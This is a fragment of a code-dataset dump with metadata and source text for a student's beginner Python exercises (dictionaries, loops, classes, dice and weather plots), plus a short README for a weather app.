"text": "# 6-4词汇表2\nPV = {\n 'run': '运行',\n 'overload': '重载',\n 'override': '重写',\n 'print': '输出',\n 'class': '类',\n 'generator': '生成器',\n 'iterator': '迭代器',\n 'iterable': '可迭代对象',\n 'pip': '包管理工具',\n 'PyPI': '公共资源库'\n}\nfor 术语, 含义 in PV.items():\n print(\"\\n术语: \" + 术语)\n print(\"含义: \" + 含义)\n\"\"\"print(\"run的含义是\" + PV['run'] + \".\")\nprint(\"overload的含义是\" + PV['overload'] + \".\")\nprint(\"override的含义是\" + PV['override'] + \".\")\nprint(\"print的含义是\" + PV['print'] + \".\")\nprint(\"class的含义是\" + PV['class'] + \".\")\n\"\"\"\n# 6-5河流\nriver_biggest = {\n 'amazon river': 'brazil',\n 'changjiang river': 'china',\n 'mississippi river': 'america'\n}\nfor river in river_biggest.keys():\n print(\"The \" + river.title() + \" runs through \" + river_biggest[river].title() + \".\")\n print(river.title())\n for country in set(river_biggest.values()):\n print(country.title())\n# 6-6调查\nfavorite_food = {\n '猴猴': 'apple',\n '小胖': 'banana',\n '小向': 'orange',\n '康康娃儿': 'meat',\n}\nfriends = ['猴猴', '小胖', '小向', '康康娃儿']\nfor name in favorite_food.keys():\n if name in friends:\n print(name + \"憨憨\" + \"I know you like eat \" + favorite_food[name] + \"!\")\nif '聪聪' not in favorite_food.keys():\n print(\"聪聪请你告诉我你喜欢吃啥?\")\n"
},
{
"alpha_fraction": 0.6026490330696106,
"alphanum_fraction": 0.6556291580200195,
"avg_line_length": 25.217391967773438,
"blob_id": "500653d3c81408ac1b3d408ae05fa6712868be01",
"content_id": "1b675ba0a01cc4e4cefa4b576155c8894077e1bf",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 604,
"license_type": "no_license",
"max_line_length": 74,
"num_lines": 23,
"path": "/ch11/dice_visual_3d6.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "#15-8\nimport pygal\nfrom die import Die\n\ndie_0 = Die()\ndie_1 = Die()\ndie_2 = Die()\n\nresults = [die_0.roll() + die_1.roll() + die_2.roll()\n for roll_num in range(50000)]\n\nmax_result = die_0.num_sides + die_1.num_sides + die_2.num_sides\nfrequencies = [results.count(value) for value in range(3, max_result + 1)]\n\nhist = pygal.Bar()\n\nhist.title = \"Results of rolling three D6 dice 50,000 times.\"\nhist.x_labels = [str(x) for x in range(3, max_result + 1)]\nhist.x_title = \"Result\"\nhist.y_title = \"Frequency of Result\"\n\nhist.add('D6 + D6 + D6', frequencies)\nhist.render_to_file('die_visual_3d6.svg')\n\n"
},
{
"alpha_fraction": 0.4801762104034424,
"alphanum_fraction": 0.4977973699569702,
"avg_line_length": 24.33333396911621,
"blob_id": "eac36103feff5bbbaadce2fcf891bc01c7e13a93",
"content_id": "18d91e42ef68df3e75ae7fb680eb626602b74d84",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 293,
"license_type": "no_license",
"max_line_length": 37,
"num_lines": 9,
"path": "/10.3/number.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "while True:\n try:\n num_1 = input(\"请输入第一个数字:\")\n num_2 = input(\"请输入第二个数字:\")\n sum = int(num_1) + int(num_2)\n print(\"两个数字的和是:\" + str(sum))\n break\n except ValueError:\n print(\"请输入纯数字。\")"
},
{
"alpha_fraction": 0.5933333039283752,
"alphanum_fraction": 0.6266666650772095,
"avg_line_length": 30.29166603088379,
"blob_id": "a184c2650bab31a9ba6513b1fb0586f217485d28",
"content_id": "b818be1d3354e51062daae98800efbd6e7c9140f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 750,
"license_type": "no_license",
"max_line_length": 64,
"num_lines": 24,
"path": "/ch12/sitka_weather.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "import csv\nfrom datetime import datetime\nfrom matplotlib import pyplot as plt\nfilename = 'csv/sitka_weather_2014.csv'\nwith open(filename) as f:\n reader = csv.reader(f)\n line = next(reader)\n clouds, dates = [], []\n for row in reader:\n try:\n current_date = datetime.strptime(row[0], \"%Y-%m-%d\")\n cloud = row[-3]\n except ValueError:\n print(row[0], 'missing date')\n else:\n clouds.append(cloud)\n dates.append(current_date)\nfig = plt.figure(dpi=128, figsize=(10, 6))\nplt.plot(dates, clouds, c='blue', alpha=0.1)\nplt.title(\"Daily CloudCover -2014\\nSitka\", fontsize=24)\nplt.xlabel(\"Time, fontsize=16\")\nplt.ylabel(\"CloudCover\", fontsize=16)\nfig.autofmt_xdate()\nplt.show()"
},
{
"alpha_fraction": 0.6408582329750061,
"alphanum_fraction": 0.6511194109916687,
"avg_line_length": 23.953489303588867,
"blob_id": "e0cdbcfacfbb356b7bf93a96b88ec713eb6838db",
"content_id": "06ad2f7012e887526b7ab68612d225f28330c459",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1082,
"license_type": "no_license",
"max_line_length": 57,
"num_lines": 43,
"path": "/ch8/8-6.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "#8-6\ndef city_country(city,country):\n result = city+\",\"+country\n return result\nresult_list = []\ncy = city_country('SH','China')\nresult_list.append(cy)\ncy = city_country('NY','USA')\nresult_list.append(cy)\ncy = city_country('Paris','France')\nresult_list.append(cy)\nfor c in result_list:\n print(c)\n\n#8-7\ndef make_album(singer_name,album_name,singer_number=\"\"):\n singer = singer_name\n album = album_name\n full_name = {singer:album}\n if singer_name:\n full_name[\"singer_number\"] = singer_number\n print(singer_number)\n return full_name\nfavorite_album = make_album(\"MJ\", \"up town\", 2)\nprint(favorite_album)\nfavorite_album = make_album(\"刘德华\", \"冰雨\", singer_number=5)\nprint(favorite_album)\n\n#8-8\nname = \"please input singer_name\"\nname += \"(Press'a' quit):\"\nname1 = \"please inout album_name\"\nname1 += \"(Press'a' quit):\"\n\ndef make_album(singer_name, album_name):\n full_name = {singer_name:album_name}\n return full_name\n\nwhile True:\n singer_name = input(name)\n if singer_name == \"a\":\n break\n album_name = input(name1)"
},
{
"alpha_fraction": 0.6424242258071899,
"alphanum_fraction": 0.6747474670410156,
"avg_line_length": 26.5,
"blob_id": "60a3be714d9f8b958202707194c47f7a553ac4a2",
"content_id": "228e18bd3cd8a8e2eaf06e8eba106460d418644f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 495,
"license_type": "no_license",
"max_line_length": 66,
"num_lines": 18,
"path": "/ch10/test_Employee.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "import unittest\n\n\nclass EmployeeTestCase(unittest.TestCase):\n\n def setUp(self):\n self.formatted_default = Employee('ding', 'yuanxue', 1000)\n\n def test_give_default_raise(self):\n self.formatted_default.give_raise()\n self.assertEqual(self.formatted_default.salary, 6000)\n\n def test_give_coustom_raise(self):\n self.formatted_default.give_raise(8000)\n self.assertEqual(self.formatted_default.salary, 9000)\n\n if __name__ == 'main':\n unittest.main()\n"
},
{
"alpha_fraction": 0.5659574270248413,
"alphanum_fraction": 0.6191489100456238,
"avg_line_length": 17.431371688842773,
"blob_id": "c75141d5dbaefeae66bb0fd7dd879454de427b2e",
"content_id": "b40b24cbc0fe68626eb5842c482d71efd38ecfa2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1246,
"license_type": "no_license",
"max_line_length": 41,
"num_lines": 51,
"path": "/ch6/5-2.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "#字符串的相等和不相等\nname = 'a'\nprint(\"if name = 'a' I think is true\")\nprint(name == 'a')\nprint(\"if name = 'd' I think is false\")\nprint(name == 'd')\nprint(\"if name = 'A' I think is false\")\nprint(name == 'A')\n\n#使用函数lower的测试\nname = 'E'\nname.lower() == 'e'\n\nname = 'E'\nname.lower() == 'E'\nprint(name)\n\n#检查两个数字相等、不等、大于、小于、大于等于和小于等于\nnum1 = '10'\nnum2 = '12'\nprint(\"数字相等\")\nprint(num1 == '10')\nprint(\"数字不等\")\nprint(num1 != num2)\nprint(\"数字大于\")\nprint(num2 > num1)\nprint(\"数字小于\")\nprint(num1 < num2)\nprint(\"数字大于等于\")\nprint(num2 >= num1)\nprint(\"数字小于等于\")\nprint(num1 <= num2)\n\n#使用关键字 and 和 or 的测试\nTV1_num = 11\nTV2_num = 12\nprint(\"电视1数量大于10且大于13\")\nprint((str)(TV1_num>=10 and TV1_num>=13))\nprint(\"电视2的数量大于11或小于13\")\nprint((str)(TV2_num>=10)or(TV2_num<=13))\n\n#测试特定的值是否包含在列表中\ncars = ['宝马', '奔驰', '悍马']\ncar = '宝马'\nif car in cars:\n print(car.title() + \", 是我的\")\n#测试特定的值是否未包含在列表中\ncars = ['宝马', '奔驰', '悍马']\ncar1 = '雪佛兰'\nif car1 not in cars:\n print(car1.title() + \", 不是我的\")\n"
},
{
"alpha_fraction": 0.6221498250961304,
"alphanum_fraction": 0.6221498250961304,
"avg_line_length": 23.600000381469727,
"blob_id": "1fd361fdc2459b719c7e2f138a1bffa0548ddecc",
"content_id": "bbbe3146361b881efe3a4caecd0b58f4b4f439b3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 614,
"license_type": "no_license",
"max_line_length": 52,
"num_lines": 25,
"path": "/ch10/remember_me.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "import json\nmessage = 'no message'\ndef new_user():\n NameJudge=input('Enter your name:')\n filename=NameJudge+'.json'\n with open(filename, 'w') as f_obj:\n json.dump(NameJudge, f_obj)\n\ndef greet_user():\n NameJudge=input('Enter Your Load Name:')\n filename=NameJudge+'.json'\n\n try:\n with open(filename) as f_obj:\n User=json.load(f_obj)\n except FileNotFoundError:\n print(message)\n else:\n print('Welcome Home, '+User)\n\njudgment=input(\"Do you have the Accounts? Yes/No\\n\")\nif judgment.title()=='Yes':\n greet_user()\nif judgment.title()=='No':\n new_user()"
},
{
"alpha_fraction": 0.5841121673583984,
"alphanum_fraction": 0.5887850522994995,
"avg_line_length": 27.46666717529297,
"blob_id": "ec9036d877510ef0a3237625e5e7445e439d78a4",
"content_id": "c0d39d7d3ebbb641d083a1018823e85ea3b2d017",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 428,
"license_type": "no_license",
"max_line_length": 68,
"num_lines": 15,
"path": "/ch6/5-8.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "members = ['admin', 'DX', 'WGZ', 'XZY', 'WXK']\nfor member in members:\n if member == 'admin':\n print(\"Hello admin, would you like to see a status report?\")\n else:\n print(\"Hello Eric, thank you for logging in again\")\n\n# 5-9\nmembers = []\nif members:\n for member in members:\n print(\"Adding\" + member + \".\")\n print(\"\\nWe need to find some users!\")\nelse:\n print(\"We need to find some users!\")\n\n"
},
{
"alpha_fraction": 0.640350878238678,
"alphanum_fraction": 0.6513158082962036,
"avg_line_length": 29.46666717529297,
"blob_id": "9b6cd6f43e5a0cb1c6459066d4c14500cdbf8196",
"content_id": "0211b44332daafac3b950dd83fe5baab7edcef09",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 456,
"license_type": "no_license",
"max_line_length": 64,
"num_lines": 15,
"path": "/ch10/15-3.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "#rw_visual\nimport matplotlib.pyplot as plt\nfrom random_walk import RandomWalk\n\nwhile True:\n rw = RandomWalk(5000)\n rw.fill_walk()\n point_numbers = list(range(rw.num_points))\n plt.plot(rw.x_values, rw.y_values, linewidth=1, c=\"#AFFFAE\")\n plt.axes().get_xaxis().set_visible(False)\n plt.axes().get_yaxis().set_visible(False)\n plt.show()\n keep_running = input(\"Make another walk? (yes/no):\")\n if keep_running == 'no':\n break"
},
{
"alpha_fraction": 0.5565749406814575,
"alphanum_fraction": 0.5565749406814575,
"avg_line_length": 26.25,
"blob_id": "4a0558b07e2607eaaa7839a65658a08555a34394",
"content_id": "dcc050d80c39931e4aa66f61b8adeee4b315946e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 327,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 12,
"path": "/ch6/5-1.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "alphabet = ['a', 'b', 'c', 'd', 'e', 'f', 'g']\nfor alphabet in alphabet:\n if alphabet == 'a':\n print(alphabet.upper())\n else:\n print(alphabet.title())\n\nalphabet = 'a'\nprint(\"Is alphabet == 'a'? I predict True.\")\nprint(alphabet == 'a')\nprint(\"\\nIs alphabet == 'd'? I predict False.\")\nprint(alphabet == 'd')\n"
},
{
"alpha_fraction": 0.6056954860687256,
"alphanum_fraction": 0.6374589204788208,
"avg_line_length": 32.85185241699219,
"blob_id": "7551f86d9d471a242a69da590cf62f67f073ab8e",
"content_id": "881fcbac789cbe8d6a8234a2072ffe630bffa878",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1073,
"license_type": "no_license",
"max_line_length": 83,
"num_lines": 27,
"path": "/ch7/6-1.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "#6.1人\nMy_friend = {'first_name':'Beckham','last_name':'David','age':'45','city':'London'}\nprint(My_friend['first_name'])\nprint(My_friend['last_name'])\nprint(My_friend['age'])\nprint(My_friend['city'])\n\n#6.2喜欢的数字\nroommate = {'猴猴':'22222','章章娃儿':'999','小向':'666','康康娃儿':'44444','小胖':'55555'}\nnew_roomate = roommate['猴猴']\nprint(\"猴猴 like num \" + str(new_roomate))\nnew_roomate = roommate['章章娃儿']\nprint(\"章章娃儿 like num \" + str(new_roomate))\nnew_roomate = roommate['小向']\nprint(\"小向 like num \" + str(new_roomate))\nnew_roomate = roommate['康康娃儿']\nprint(\"康康娃儿 like num \" + str(new_roomate))\nnew_roomate = roommate['小胖']\nprint(\"小胖 like num \" + str(new_roomate))\n\n#6.3词汇表\nPV = {'run':'运行','overload':'重载','override':'重写','print':'输出','class':'类'}\nprint(\"run的含义是\"+PV['run']+\".\")\nprint(\"overload的含义是\"+PV['overload']+\".\")\nprint(\"override的含义是\"+PV['override']+\".\")\nprint(\"print的含义是\"+PV['print']+\".\")\nprint(\"class的含义是\"+PV['class']+\".\")"
},
{
"alpha_fraction": 0.6000000238418579,
"alphanum_fraction": 0.6051282286643982,
"avg_line_length": 22.780487060546875,
"blob_id": "c16e300b242ea35e2f41498359affa2d6f86c915",
"content_id": "3d63da44c792e66bed19e019fb840a71d6d03e5f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 979,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 41,
"path": "/ch9/9-8.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "# 9-8权限\nclass User():\n\n def __int__(self, first_name, last_name):\n self.first_name = first_name\n self.last_name = last_name\n self.login_attempts = 0\n\n def describe_name(self):\n print(\"first_name :\", self.first_name, \"last_name\", self.last_name)\n\n def greet_user(self):\n print(\"hello, \",self.first_name, \"\", self.last_name)\n\n def increment_login_attempts(self):\n self.login_attempts += 1\n\n def reset_login_attempts(self):\n self.login_attempts = 0\n\n\nclass Privileges:\n\n def __init__(self):\n self.privileges = [\" can add post\", \" can delete\", \" can ban user\"]\n\n def show_privileges(self):\n print(self.privileges)\n\n\nclass Admin(User):\n\n def __init__(self, first_name, last_name):\n super().__int__(first_name, last_name)\n self.privileges = Privileges()\n\n def show_privileges(self):\n self.privileges.show_privileges()\n\nadmin = Admin(\"ni\", 'you')\nadmin.show_privileges()\n"
},
{
"alpha_fraction": 0.7484662532806396,
"alphanum_fraction": 0.7576687335968018,
"avg_line_length": 13.217391014099121,
"blob_id": "ab9fb771ece7c1567e36248717bce00359ca2dc5",
"content_id": "613b646c7ef26d3a99285e9159a314844726be45",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 326,
"license_type": "no_license",
"max_line_length": 45,
"num_lines": 23,
"path": "/ch8/displaying.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "#8-16\ndef display_message():\n print('I have learnd in this chapter')\n\nimport displaying\n\ndisplaying. display_message()\n\nfrom displaying import display_message\n\ndisplay_message()\n\nfrom displaying import display_message as sj\n\nsj()\n\nimport displaying as sj\n\nsj.display_message()\n\nfrom displaying import *\n\ndisplay_message()"
},
{
"alpha_fraction": 0.6219345927238464,
"alphanum_fraction": 0.640326976776123,
"avg_line_length": 25.672727584838867,
"blob_id": "c8d58f2f5a08f2883855ba56f68cfa11e35dd331",
"content_id": "d5f41efaf74cf5c41990184bfc5cb9e0856ee5c2",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1544,
"license_type": "no_license",
"max_line_length": 67,
"num_lines": 55,
"path": "/ch8/9-1.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "# 9-1餐馆\nclass Restaurant:\n def __init__(self, restaurant_name, cuisine_type):\n self.restaurant_name = restaurant_name\n self.cuisine_type = cuisine_type\n\n def describe_restaurant(self):\n print(\"Restaurant Name:\" + self.restaurant_name.title())\n print(\"Cuisine Type:\" + self.cuisine_type.title())\n\n def open_restaurant(self):\n print(\"welcome to our restaurant!\")\n\n\nrestaurant = Restaurant(\"金拱门\", \"American\")\n\nprint(\"our restaurant name is \" + restaurant.restaurant_name + \".\")\nprint(\"order \" + restaurant.cuisine_type.title() + \" food.\")\n\nrestaurant.describe_restaurant()\nrestaurant.open_restaurant()\n\n#9-2三家餐馆\nrestaurant1 = Restaurant(\"全聚德\", \"China\")\nrestaurant1.describe_restaurant()\nrestaurant2 = Restaurant(\"无名居\", \"China\")\nrestaurant2.describe_restaurant()\nrestaurant3 = Restaurant(\"Tabelog\", \"Japan\")\nrestaurant3.describe_restaurant()\n\n#9-3用户\nclass User:\n def __init__(self,name,age,address):\n self.name = name\n self.age = age\n self.address = address\n\n def descibe_user(self):\n name = self.name\n print('\\n'+ name + \"\" + self.age + \"岁.\")\n print(\"居住在\" + self.address+\".\")\n\n def greet_user(self):\n name = self.name\n print(\"欢迎你,\" + name + \".\")\n\nuser1 = User('猴猴', '21', \"达州\")\nuser1.descibe_user()\nuser1.greet_user()\nuser2 = User('小胖', '20', \"攀枝花\")\nuser2.descibe_user()\nuser2.greet_user()\nuser3 = User('小向', '20', \"射洪\")\nuser3.descibe_user()\nuser3.greet_user()\n\n"
},
{
"alpha_fraction": 0.5742574334144592,
"alphanum_fraction": 0.5821782350540161,
"avg_line_length": 27.05555534362793,
"blob_id": "c424f9abe78de0f044d54a84f511cb870a808f55",
"content_id": "50ea2f0fbed6b869ab653a2bd7e5bc53d5e78784",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 505,
"license_type": "no_license",
"max_line_length": 47,
"num_lines": 18,
"path": "/10.3/error.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "print(\"Give me two numbers and I'll add them.\")\nprint(\"Enter 'q' to quit\")\n\nwhile True:\n first_number = input(\"\\nFirst number:\")\n if first_number == 'q':\n break\n second_number = input(\"Second number:\")\n if second_number == 'q':\n break\n try:\n number_1 = int(first_number)\n number_2 = int(second_number)\n result = number_1 + number_2\n except ValueError as e:\n print(\"some input are not number.\")\n else:\n print(f\"The result is {result}\")\n"
},
{
"alpha_fraction": 0.603960394859314,
"alphanum_fraction": 0.603960394859314,
"avg_line_length": 28,
"blob_id": "1f1aeac032fc97c3d16f5bd921e1608f385f1d8d",
"content_id": "565973d10cd69e6f37aaca25685f1a424bd07974",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 202,
"license_type": "no_license",
"max_line_length": 44,
"num_lines": 7,
"path": "/ch9/10-4.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "filename = 'guest_book.txt'\n\nwhile True:\n name = input('Enter your name:')\n with open(filename, 'a') as file_object:\n file_object.write(name + '\\n')\n print(f'welcome!{name.title()}')"
},
{
"alpha_fraction": 0.5703883767127991,
"alphanum_fraction": 0.6189320683479309,
"avg_line_length": 20.6842098236084,
"blob_id": "6e4ef2ed58846950474494a0b5cb608dfac2f982",
"content_id": "33854a492f87a72009188d14e6c898dedc98e79e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 596,
"license_type": "no_license",
"max_line_length": 52,
"num_lines": 19,
"path": "/ch7/7-2.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "# 7-1汽车租赁\ncar = input()\nprint(\"Let me see if I can find you a \" + car + \".\")\n\n# 7-2餐馆定位\nmessage = int(input(\"请问你们几位?\"))\nif message > 8:\n print(\"sorry,8个人以上的位置没有了。\")\nelif message <= 0:\n print(\"吃饭不能少于一人\")\nelse:\n print(\"还有位置,请坐。\")\n\n# 7-3 10的整倍数\nnumber = int(input(\"随机输入一个数,这个数是否是10的整倍数\"))\nif number % 10 ==0:\n print(\"你输入的数字是\" + str(number) + \",是10的整倍数\")\nelse:\n print(\"你输入的数字是\" + str(number) + \",不是10的整倍数\")\n"
},
{
"alpha_fraction": 0.6106870174407959,
"alphanum_fraction": 0.6908397078514099,
"avg_line_length": 28.22222137451172,
"blob_id": "b49893c6edd2954cbcab7a7ba478f341fba6c711",
"content_id": "deb49d851100aea1795d4f157feb409428f4a3da",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 262,
"license_type": "no_license",
"max_line_length": 42,
"num_lines": 9,
"path": "/ch10/cubic.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "import matplotlib.pyplot as plt\n\nx_values = [1, 2, 3, 4, 5]\ny_values = [1, 8, 28, 64, 126]\nplt.plot(x_values, y_values, linewidth=6)\nplt.xlabel(\"Value\", fontsize=14)\nplt.ylabel(\"Square of Value\", fontsize=14)\nplt.tick_params(axis='both', labelsize=14)\nplt.show()"
},
{
"alpha_fraction": 0.6857143044471741,
"alphanum_fraction": 0.6857143044471741,
"avg_line_length": 38.5,
"blob_id": "ecb24a6e447d4565b9c3cbe2c6c9a82223c21d5d",
"content_id": "e524842cf9dc51b1ffb13ab1ce529045723d5600",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 315,
"license_type": "no_license",
"max_line_length": 88,
"num_lines": 8,
"path": "/ch2/name.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "first_name =\"Ruskin\"\nlast_name =\"J\"\nsentence ='\"Living without an aim is like sailing without a compass\"'\nprint(first_name.title() +\" \" + last_name.title() +\" \" + sentence.title() +\" \")\n\nfamous_person = \"J Ruskin\"\nmessage = famous_person +\" \" + \"Living without an aim is like sailing without a compass\"\nprint(message)"
},
{
"alpha_fraction": 0.6284658312797546,
"alphanum_fraction": 0.682070255279541,
"avg_line_length": 24.809524536132812,
"blob_id": "1c929f729ad0acf3b30d881513a8d9f5212ec2a8",
"content_id": "a0d80a12638500e845d46f4f9a661084f2d9ce05",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 541,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 21,
"path": "/ch11/dice_visual_d8.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "#15-7\nimport pygal\nfrom die import Die\n\ndie_0 = Die(8)\ndie_1 = Die(8)\n\nresults = [die_0.roll() + die_1.roll() for roll_num in range(50000)]\n\nmax_results = die_0.num_sides + die_1.num_sides\nfrequencies = [results.count(value) for value in range(2, max_results + 1)]\n\nhist = pygal.Bar()\n\nhist.title = \"Results of rolling two D8 dice 50,000 times.\"\nhist.x_labels = [str(x) for x in range(2, max_results + 1)]\nhist.x_title = \"Result\"\nhist.y_title = \"Frequency of Result\"\n\nhist.add('D8 + D8', frequencies)\nhist.render_to_file('die_visual_d8.svg')"
},
{
"alpha_fraction": 0.5968992114067078,
"alphanum_fraction": 0.5968992114067078,
"avg_line_length": 31.5,
"blob_id": "acbcee6c7f45a7e271feb4b338ee4585777e5f16",
"content_id": "50b337926d6b52550f9c48424fd89a7fb150dc9c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 129,
"license_type": "no_license",
"max_line_length": 42,
"num_lines": 4,
"path": "/ch5/4-2.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "Animal = {\"dog\", \"pig\", \"cat\"}\nfor pet in Animal:\n print(\"The \" + pet + \" is a good pet\")\nprint(\"Any of these animal is cute\")"
},
{
"alpha_fraction": 0.6064013838768005,
"alphanum_fraction": 0.6384083032608032,
"avg_line_length": 32.05714416503906,
"blob_id": "8b169dec2bdc4b674ab7aa045de2ae9968cdff4e",
"content_id": "475bb52e001aeadda963fae16fb4b42c5fcde987",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1156,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 35,
"path": "/ch12/death_valley.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "import csv\nfrom datetime import datetime\nfrom matplotlib import pyplot as plt\n\nwith open('csv/death_valley_2014.csv') as f:\n text = csv.reader(f)\n header_row = next(text)\n dates, highs, lows = [], [], []\n for row in text:\n try:\n current_date = datetime.strptime(row[0], \"%Y-%m-%d\")\n high = int(row[1])\n low = int(row[3])\n except ValueError:\n print(current_date, 'missing date')\n\n else:\n dates.append(current_date)\n highs.append(high)\n lows.append(low)\n\nfig = plt.figure(dpi=128, figsize=(10,6))\nplt.plot(dates, highs, c='blue', alpha=0.5)\nplt.plot(dates, lows, c='black', alpha=0.5)\nplt.fill_between(dates, highs, lows,facecolor='red', alpha=0.1)\n\ntitle = \"Day high and low temperatures - 2014\\nDeath Valley\"\nplt.title(title, fontproperties='Menlo', fontsize=20)\nplt.xlabel('Time', fontsize=16, fontproperties='Menlo')\nfig.autofmt_xdate()\nplt.ylabel('Temperature(F)', fontsize=20, fontproperties='Menlo')\nplt.tick_params(axis='both', which='major', labelsize=16)\nplt.savefig('', dpi=800)\nplt.render_to_file('death_valley.png', dpi=800)\nplt.show()"
},
{
"alpha_fraction": 0.5766423344612122,
"alphanum_fraction": 0.6715328693389893,
"avg_line_length": 14.333333015441895,
"blob_id": "e5496817f478b559ae24c30631ceb459e43bc63d",
"content_id": "ed917452424a311bddce88946358759ca5b9b54d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 137,
"license_type": "no_license",
"max_line_length": 47,
"num_lines": 9,
"path": "/ch5/4-3.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "for num in range(0,21):\n print(num)\n\n\n#4-4\n\nmillion = [value for value in range(0,1000001)]\nfor million in million:\n print(million)"
},
{
"alpha_fraction": 0.616895854473114,
"alphanum_fraction": 0.632612943649292,
"avg_line_length": 27.27777862548828,
"blob_id": "473f8b51738f0b6d2abc283d06525b5e5545dd30",
"content_id": "3cbe0c09fadfdcef5772f9f7ac6e0675028ec1b4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 509,
"license_type": "no_license",
"max_line_length": 74,
"num_lines": 18,
"path": "/ch3/cars.py",
"repo_name": "DX-ZZ/218341",
"src_encoding": "UTF-8",
"text": "cars = ['Mercedes-Benz', 'BMW', 'Ferrari', 'Automobili Lamborghini S.p.A']\nprint(cars)\n\ncars = ['Mercedes-Benz', 'BMW', 'Ferrari', 'Automobili Lamborghini S.p.A']\nprint(cars[0])\nprint(cars[1])\nprint(cars[2])\nprint(cars[3])\n\n\nmessage = \"My first car was a \" + cars[0].title() + \".\"\nprint(message)\nmessage = \"My favorite car was a \" + cars[1].title() + \".\"\nprint(message)\nmessage = \"My dream car was a \" + cars[2].title() + \".\"\nprint(message)\nmessage = \"I like this car \" + cars[3].title() + \".\"\nprint(message)\n"
}
] | 61 |
nikethan1904/WeatharApp | https://github.com/nikethan1904/WeatharApp | 545cd17376fb05b87cea87934c6a5892a721449a | 54d69acbbfb6c8419cecec16aebaafea5f2a334f | 3a2660a3818dffbf38328c0eeb3edde0561b75e3 | refs/heads/master | 2021-01-15T03:50:25.283169 | 2020-02-24T23:54:49 | 2020-02-24T23:54:49 | 242,869,074 | 0 | 1 | null | 2020-02-24T23:50:46 | 2020-02-24T23:54:52 | 2020-02-24T23:54:50 | HTML | [
{
"alpha_fraction": 0.7821782231330872,
"alphanum_fraction": 0.7821782231330872,
"avg_line_length": 39,
"blob_id": "b502004cc6406f9b4734068bcd6cae46c3fbff0f",
"content_id": "c1f7805ea362fbc3a84b844cc336668bd520924d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 202,
"license_type": "no_license",
"max_line_length": 86,
"num_lines": 5,
"path": "/README.md",
"repo_name": "nikethan1904/WeatharApp",
"src_encoding": "UTF-8",
"text": "\n\nThe front end has been developed using AJAX ,canvas for charts\n\nyahoo API is also used to display the forecast.\n\nAPI calls are made to the forecast function, data is retrieved and stored in an array.\n"
},
{
"alpha_fraction": 0.5338020324707031,
"alphanum_fraction": 0.5429962277412415,
"avg_line_length": 33.5514030456543,
"blob_id": "97e045ea3ae8bdb79af34205b3c10466e6ed6d8d",
